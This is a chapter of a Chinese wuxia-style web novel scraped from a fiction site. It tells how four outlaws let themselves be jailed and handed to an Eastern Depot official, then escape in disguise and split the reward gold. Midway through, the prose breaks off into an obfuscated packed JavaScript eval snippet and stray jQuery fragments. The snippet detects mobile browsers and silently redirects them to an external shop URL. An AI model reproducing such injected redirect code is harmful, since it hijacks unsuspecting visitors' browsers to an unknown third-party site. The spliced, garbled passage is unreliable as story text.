文趣网 > 其他小说 > 孤光一点照寒舟 > 9. 入狱
    “欸,听说了吗?那四个盗粮贼,抓着了!”

    “真的假的,你咋知道?”

    “千真万确!我有亲戚在衙门当差,今早亲眼瞧见的。说是北边来的一伙人,把贼人围在山沟里,一锅端了。”

    “好家伙,那悬赏可不少啊,一个人百两黄金,四个可就四百两了,黄金啊!”

    “怎么没让我撞见这好事呢!”

    “就凭你,甭闹笑话了……”

    “……”

    清晨的街市十分热闹,尤其是衙门附近的馄饨小摊里,早起的行人三三两两坐下,一人一碗热气腾腾的馄饨,就着炊饼,谈论着今日一大早,有几个江湖大汉押着通缉令上的四个盗粮贼来衙门领赏的事情。

    早晨的事,不到晌午,已经传遍了青州城。

    城外的某个偏僻院子内,打探消息的人回来给沈清言禀报。

    “看清楚了?真的是他们四人?”沈清言放下茶杯,低头看着跪在地上的人。

    手下点点头,“属下看得清清楚楚,确实是那天夜里见过的四人。”

    沈清言立时站起身,“走,带一部分人跟我走,去衙门。”

    ------

    青州府衙门。

    沈清言到的时候,日头已经爬过了屋脊。他站在衙门前的台阶下,整了整衣冠,让人将东厂的令牌递给衙役。

    门口守着的衙役见是东厂的令牌,不敢怠慢,一路小跑进去通报。

    沈清言没有等太久,片刻后,府尹迎了出来,身后跟着一个师爷。

    “沈大人,什么风把您给吹来了?”周府尹拱手,说话时脸上挂着三分笑,他请沈清言进去说话,“沈大人进来喝杯茶?”

    沈清言回礼后,将文书递了过去,“周大人不必客气,本官奉上面的命令,提四个人犯,押送回京审问,这是文书。”

    周府尹接过,看了一眼,眉头微微皱起。他抬起头,笑容里多了几分为难:“沈大人,这四个人犯昨夜才押送进来,还没过堂呢,您这就提走,下官这边……”

    “周大人,”沈清言打断他,“这是上面的意思,盗窃军粮,牵连甚广,还是将人交给本官,押送回京,交给大理寺审问。”

    周府尹的笑容不变,“沈大人,不是下官不肯给您,这……”

    他的话还没说完,就被身后的人打断了。

    “沈大人!”钱惟庸高声道,从府衙大堂里走出来,身后还跟着几个江湖大汉。

    沈清言的脸色微微变了,“没想到钱大人今日也在。”

    “本官负责运送粮草一事,偷窃粮草的犯人既已抓到,自然要来查一查,也好早日找到丢失的粮草。”

    钱惟庸脸上没什么表情,接着说:“如今粮草的下落还不明,沈大人就着急将人提走,若是延误了边关的灾情,沈大人负得起责任吗?”

    沈清言心中冷笑,“钱大人,此言差矣,”他语气略带嘲讽,“粮草军饷丢失,钱大人本就有失职之过,如今上面有令要接管此事,等审出来粮草的下落,钱大人可不要再弄丢了。”

    钱惟庸也笑了,“想必沈大人本事通天,定能找回粮草,犯人可以提走,不过,”他话音一转,“犯人是由这几位抓到的,沈大人既然着急,不如先将赏金付了。”

    钱惟庸身后的几个大汉也纷纷喊道:“对对对,赏金!人是俺们兄弟几个抓的,啥时候给赏金?”

    沈清言眉头一皱,正要拒绝,手下已经抢先开口道:“你们是什么人?也敢向东厂要钱!”

    “什么东厂西厂的,俺们江湖人,不讲官场上那一套!”络腮胡大汉嗓门大得像打雷,“大伙儿评评理!俺们抓了贼拿不着赏金,朝廷命官还想赖账!”

    此刻正是各家店铺开门迎客的时候,衙门前的街市人来人往。被大汉这嗓子一喊,立刻围上来一圈百姓,探头探脑地看热闹。

    人群里,百姓们一听事情的来龙去脉,纷纷将目光投向沈清言等人,窃窃私语,仿佛油锅里滴了水,噼里啪啦炸开。

    沈清言的脸色一阵青一阵白,早知道就先进去说了!他看了一眼周府尹。

    周府尹低着头,假装在整理袖子,和旁边的师爷低声说着什么。

    钱惟庸语气不紧不慢,“沈大人,您要提人,还是先把赏金结了吧,不然这几位壮士堵在衙门门口,本官也很难办啊。”

    沈清言咬了咬牙,吩咐手下去准备赏金。

    不多时,沈清言的手下回来。

    一箱四百两黄金一到手,几个大汉大摇大摆走下台阶,挤开人群,消失在街角。

    百姓们看完了热闹,也就渐渐散了。

    沈清言朝手下看了一眼,他带来的人里面,立刻就有人悄悄离开,跟上了那几个大汉。

    “沈大人,这边请。”周府尹让人带路,将沈清言带到大牢门口。

    沈清言冷着脸,没有说话。

    青州府大牢在地下一层,因常年不见阳光,空气中弥漫着一阵潮湿腐烂的味道。

    沈清言一进去就皱了皱眉。

    狱卒引着沈清言等人,来到最里面的一间牢房。

    沈清言的手下拿着火把靠近,里面的人听见动静,都抬起了头。

    石祝靠着墙坐着,肩膀的缠带还渗着血,旁边是还在昏迷的明朝,躺在地上一动不动。石祝一看见沈清言后,呸了一声,就扭过头去。

    柳不白手臂也有一圈缠带,神情疲惫,即便是在大牢里,衣服也干净得一尘不染。他没说话,一双猫儿似的眼睛,从上到下蔑视地打量了沈清言一遍。

    长离也没吭声,她脊背挺直地靠着墙,双手抱胸,大马金刀地往那儿一坐。那姿态,仿佛她是来这大牢里巡视犯人,而沈清言才是那个蹲大牢的。

    除了昏迷的明朝,其余三人身上都带着镣铐。

    狱卒用钥匙开了门,沈清言手下率先进去,走向石祝的方向,蹲下来探查了明朝的脉搏,还仔细看了明朝的脸和肩膀处的伤口。

    随后向沈清言低声说道:“大人,是这人,身上还有东厂的毒。”

    沈清言看着躺在地上的明朝,表情复杂,沉默了片刻,就转身一挥手,“带走!”

    沈清言带人将长离四人送进一辆囚车里,押送出了城。

    出城时,路过的百姓盯着囚车,还有几个天真的稚童将手里的小石头砸向囚车,一边丢,一边喊道:“坏人!”

    沈清言骑着马,和囚车并行,他看着昏迷中的明朝,嘴角往上扯了扯,“当年你要是真的死了,我家何必还受此牵连。要怪就怪你运道不好,非要和秦公公作对。如今你已经是阶下囚,好自为之吧。”

    “呸!你这东厂的走狗!”石祝气愤地踹了一脚囚车,囚车晃了晃,倒是吓了沈清言一跳。

    “你轻点!”柳不白也被突如其来的颠簸晃了一下,“你和这玩意儿浪费口舌干嘛,狗咬狗,迟早一嘴毛。”

    “你!好好好,乌明朝竟是已经沦落到与你们这些杂碎为伍,难怪如此蠢!”沈清言恼羞成怒,“给我好好招待这些杂碎!”

    说罢,沈清言一夹马腹,就往前去了。

    他的手下狠狠一鞭甩在囚车上,带着倒刺的鞭尾勾住了石祝的手臂,又准备用力抽出鞭子,却被一只有力的手抓住了。

    长离在此人挥鞭的时候,就极快地反应过来,伸手抓住了鞭尾。

    若她不伸手,石祝的手臂必定会被这一鞭扯掉一大块肉。

    带刺的鞭尾扎在手心,长离的手掌很快流出了鲜血。

    她猛地一拽,力道大得将人猝不及防拉下了马,行走中的马儿速度不减,前蹄踩到这人的背上,还没呼救就被踢晕了过去。

    等沈清言发现身后的动静,手下已经被其他人救起来了,路边的百姓也在窃窃私语。

    又当众丢了一次脸,沈清言的脸色愈发难看起来。

    他命令手下加快速度。

    囚车里,柳不白一把拉过长离的左手,看到长离的手掌已经被划得皮肉绽开,柳不白不由得倒吸了一口凉气。

    “徒手接鞭,大小姐真能啊,”柳不白嘴上说着嘲讽的话,手上处理伤口的动作一点没停,“再深一点,这手就别要了。”

    “俺皮糙肉厚的,大小姐你……”石祝赶紧撕下里面的衣服,撕成一条条,递给柳不白包扎伤口。

    除了,还没人为了救他而做过这样的事,一向拿受伤当家常便饭的石祝不知道说什么,只一昧沉默地撕衣服和递药。

    长离自己没觉得有什么,仿佛已经忘记了当初说分道扬镳的事了,只是下意识就伸手过去截住鞭子。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614215|206036||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    反应过来后,手掌心火辣辣地疼。

    几人在囚车内一时沉默了下来。

    等出了青州城,沈清言等人先回到了城郊的小院,准备第二天一早回京。

    长离四人被送到一个柴房里面,门外有东厂的人守着,沈清言走之前还吩咐手下好好“招待”他们。

    等到柴房里只剩下四人的时候,长离轻松解开了身上的镣铐,站起身,一会的功夫,三人身上的镣铐落了一地。

    拿着刑具的几个看守正准备推门而入。

    “现在?”柳不白站起身,揉了揉手腕,手指间银针已经蓄势待发。

    “现在!”长离的霜月刺从袖中滑到手里。

    话音刚落,石祝猛地推开门,门外的守卫还没反应过来,已经被迎面而来的铁拳打晕在地。

    其余的守卫正准备喊人,还没来得及出声,也被柳不白的毒针和长离的霜月刺一一解决了。

    没有惊动到外面的人。长离三人将倒地的守卫迅速拖进了柴房,关上门。

    一盏茶的功夫,三个“守卫”从里面走了出来,将柴房的门牢牢关上了。

    等到天亮,沈清言吩咐手下准备出发,柴房外的几个守卫将四人押送上囚车,后院装着钱粮的大车也运送出了小院。

    沈清言进马车之前,看了一眼囚车,发现几人都昏迷着,看来昨晚确实被好好“招待”了。

    “别弄死在路上了。”

    “大人,已经喂了些药,不耽误路程。”其中一个守卫说道。

    沈清言闻言,就转身进了马车,吩咐队伍出发。

    车队走着走着,有几个守卫慢慢落在了车队的后面,进了树林后,无人察觉,那三个守卫借着树木遮掩,消失了。

    几双眼睛在树林间,目送着沈清言的车队往京城的方向前行。

    “可算完事了,累死小爷了!”柳不白卸下易容,换下守卫的衣服,嫌弃地丢在地上。

    “嘿嘿,沈清言这厮,气不死他这王八蛋!”旁边的石祝也露出了原本的样子,利落地将穿在外面的东厂衣服脱下来。

    事情终于顺利解决,长离也露出了一点笑容。

    一直守在小院外面的明朝,一路都悄悄跟在车队后面,此时也站在三人旁边,还带着几匹马。

    “辛苦各位了,钱粮已经被钱大人秘密送往了边关,有韩副将带队,这次不会有差错了。”

    明朝将一箱黄金打开,正是从沈清言手里拿的那一箱赏金。

    “这是答应给大家的报酬。”

    “哇,好闪,小爷这次的报酬要翻倍!”看清了箱子里面都是黄金之后,柳不白双眼放光,迫不及待上前摸了摸。

    “俺都行,有酒喝有肉吃才最痛快!”石祝刚说完,明朝就将一壶好酒塞进了他怀里。

    石祝美滋滋收下。

    “这是答应长离姑娘的。”明朝将一个小箱子递给长离。

    长离接过后,打开看了看,是完整的一本谢家枪法,和当年谢家灭门案的手抄本。

    “谢谢。”父亲当年将枪法给了明朝的父亲保管,如今能够顺利物归原主,还能查到当年的事情。长离自然得道声谢。

    “长离姑娘不必客气。”明朝笑了笑。

    “欸,你们拿到黄金,要用来做什么?”柳不白将自己的那份黄金收好,心情颇好。

    “我嘛……”石祝的话还没说完,就被打断。

    “有吃有喝就行!”柳不白接过话,优雅地翻了个白眼,“黄金跟着你,也算是糟蹋了。”

    “大小姐,你呢?”柳不白转头问长离。

    “这点黄金,本姑娘还不放在眼里。”这些年偷了不少贪官私库的长离,还真不把这点黄金放在眼里。

    “……那能放在我口袋里么?”柳不白恨不能将长离的那份也收入钱袋中。

    “想得美!”

    “我的那份给大小姐!”

    “臭石头那我呢?”

    ……

    几人说说笑笑。

    “走吧,我在城中最好的酒楼订了一桌好酒好菜,一起吃顿好的!”明朝笑着,邀请三人一起回城。

    “好嘞!”

    “走呗!”

    马鞭一挥,四人骑着马,朝着太阳的方向,飞奔而去。